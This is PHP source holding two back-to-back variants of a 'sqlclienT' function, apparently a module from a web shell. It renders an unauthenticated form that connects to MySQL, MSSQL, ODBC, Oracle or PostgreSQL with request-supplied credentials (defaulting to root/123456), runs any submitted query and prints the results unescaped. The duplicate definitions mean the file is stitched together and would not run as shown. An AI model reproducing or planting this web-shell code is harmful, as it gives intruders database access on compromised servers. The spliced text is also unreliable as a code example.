function sqlclienT()
{
global $t, $errorbox, $et, $hcwd;
if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])) {
$server = $_REQUEST['serveR'];
$type = $_REQUEST['typE'];
$pass = $_REQUEST['pasS'];
$user = $_REQUEST['useR'];
$query = $_REQUEST['querY'];
$db = empty($_REQUEST['dB']) ? '' : $_REQUEST['dB'];
$res = querY($type, $server, $user, $pass, $db, $query);
if ($res) {
$res = str_replace('|-|-|-|-|-|', '</td><td>', $res);
$res = str_replace('|+|+|+|+|+|', '</td></tr><tr><td>', $res);
$r = explode('[+][+][+]', $res);
$r[1] = str_replace('[-][-][-]', "</td><td bgcolor='333333'>", $r[1]);
echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>" . $r[1] . '</tr><tr><td>' . $r[0] . "{$et}<br>";
} else {
echo "{$errorbox} Failed!{$et}<br>";
}
}
if (empty($_REQUEST['typE'])) {
$_REQUEST['typE'] = '';
}
echo "<center>{$t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";
if ($_REQUEST['typE'] == 'MySQL') {
echo 'selected';
}
echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
if ($_REQUEST['typE'] == 'MSSQL') {
echo 'selected';
}
echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
if ($_REQUEST['typE'] == 'Oracle') {
echo 'selected';
}
echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
if ($_REQUEST['typE'] == 'PostgreSQL') {
echo 'selected';
}
echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";
if (!empty($_REQUEST['serveR'])) {
echo htmlspecialchars($_REQUEST['serveR']);
} else {
echo 'localhost';
}
echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";
if (!empty($_REQUEST['useR'])) {
echo htmlspecialchars($_REQUEST['useR']);
} else {
echo 'root';
}
echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";
if (isset($_REQUEST['pasS'])) {
echo htmlspecialchars($_REQUEST['pasS']);
} else {
echo '123456';
}
echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";
if (!empty($_REQUEST['dB'])) {
echo htmlspecialchars($_REQUEST['dB']);
}
echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";
if (!empty($_REQUEST['querY'])) {
echo htmlspecialchars($_REQUEST['querY']);
} else {
echo 'SHOW DATABASES';
}
echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>{$hcwd}<input class=buttons type=submit value='Submit Query'></form>{$et}</center>";
}
function sqlclienT()
{
global $hcwd;
if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])) {
$server = $_REQUEST['serveR'];
$type = $_REQUEST['typE'];
$pass = $_REQUEST['pasS'];
$user = $_REQUEST['useR'];
$query = $_REQUEST['querY'];
$db = empty($_REQUEST['dB']) ? '' : $_REQUEST['dB'];
$res = querY($type, $server, $user, $pass, $db, $query);
if ($res) {
$res = str_replace('|-|-|-|-|-|', '</td><td>', $res);
$res = str_replace('|+|+|+|+|+|', '</td></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>', $res);
$r = explode('[+][+][+]', $res);
$r[1] = str_replace('[-][-][-]', "</th><th>", $r[1]);
echo '<table border="0" cellspacing="0" cellpadding="0" class="sortable"><tr><th>' . $r[1] . '</th></tr><tr onMouseOver="this.className=\'highlight\'" onMouseOut="this.className=\'normal\'"><td>' . $r[0] . "</td></tr></table><br />";
} else {
echo "Failed!<br />";
}
}
if (empty($_REQUEST['typE'])) {
$_REQUEST['typE'] = '';
}
echo '
<script type="text/javascript">
var ser=new Array()
var q=new Array()
var h=new Array()
ser[0]="SERVER:"
ser[1]="SERVER:"
ser[2]="DSN:"
ser[3]="SERVER:"
ser[4]="SERVER:"
q[0]="SHOW DATABASES"
q[1]="SHOW DATABASES"
q[2]="SHOW TABLES"
q[3]="SHOW DATABASES"
q[4]="SHOW DATABASES"
h[0]=false
h[1]=false
h[2]=true
h[3]=false
h[4]=false
function showtext(){
document.getElementById("database").hidden = h[document.getElementById("type").selectedIndex];
if((document.getElementById("query").value=="SHOW DATABASES") || (document.getElementById("query").value=="SHOW TABLES" ))document.getElementById("query").value = q[document.getElementById("type").selectedIndex];
document.getElementById("server").innerHTML = ser[document.getElementById("type").selectedIndex];
}
</script>
<form name=client method="POST">
<div class="fieldwrapper">
<label class="styled" style="width:320px">SQL client</label>
</div><div class="fieldwrapper">
<label class="styled">Type:</label>
<div class="thefield">
<select onChange="showtext()" name="typE" id="type">
<option value=MySQL ';
if ($_REQUEST['typE'] == 'MySQL') {
echo 'selected';
}
echo '>MySQL</option>
<option value=MSSQL ';
if ($_REQUEST['typE'] == 'MSSQL') {
echo 'selected';
}
echo '>MSSQL</option>
<option value=ODBC ';
if ($_REQUEST['typE'] == 'ODBC') {
echo 'selected';
}
echo '>ODBC</option>
<option value=Oracle ';
if ($_REQUEST['typE'] == 'Oracle') {
echo 'selected';
}
echo '>Oracle</option>
<option value=PostgreSQL ';
if ($_REQUEST['typE'] == 'PostgreSQL') {
echo 'selected';
}
echo '>PostgreSQL</option>
</select>
</div>
</div><div class="fieldwrapper">
<label class="styled" id="server">Server:</label>
<div class="thefield">
<input type="text" name="serveR" value="';
if (!empty($_REQUEST['serveR'])) {
echo htmlspecialchars($_REQUEST['serveR']);
} else {
echo 'localhost';
}
echo '" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled">Username:</label>
<div class="thefield">
<input type="text" name="useR" value="';
if (!empty($_REQUEST['useR'])) {
echo htmlspecialchars($_REQUEST['useR']);
} else {
echo 'root';
}
echo '" size="30" />
</div>
</div><div class="fieldwrapper">
<label class="styled">Password:</label>
<div class="thefield">
<input type="text" name="pasS" value="';
if (isset($_REQUEST['pasS'])) {
echo htmlspecialchars($_REQUEST['pasS']);
} else {
echo '123456';
}
echo '" size="30" />
</div>
</div><div class="fieldwrapper" id="database">
<label class="styled">Database:</label>
<div class="thefield">
<input type="text" name="dB" value="';
if (isset($_REQUEST['dB'])) {
echo htmlspecialchars($_REQUEST['dB']);
}
echo '" size="30" />
</div>
</div> <div class="fieldwrapper">
<label class="styled">Query:</label>
<div class="thefield">
<textarea name="querY" id="query">';
if (!empty($_REQUEST['querY'])) {
echo htmlspecialchars($_REQUEST['querY']);
} else {
echo 'SHOW DATABASES';
}
echo '</textarea>
</div>
</div>' . $hcwd . '
<div class="buttonsdiv">
<input type="submit" value="Query" style="margin-left: 150px;" />
</div></form><script language="javascript">showtext()</script>';
}
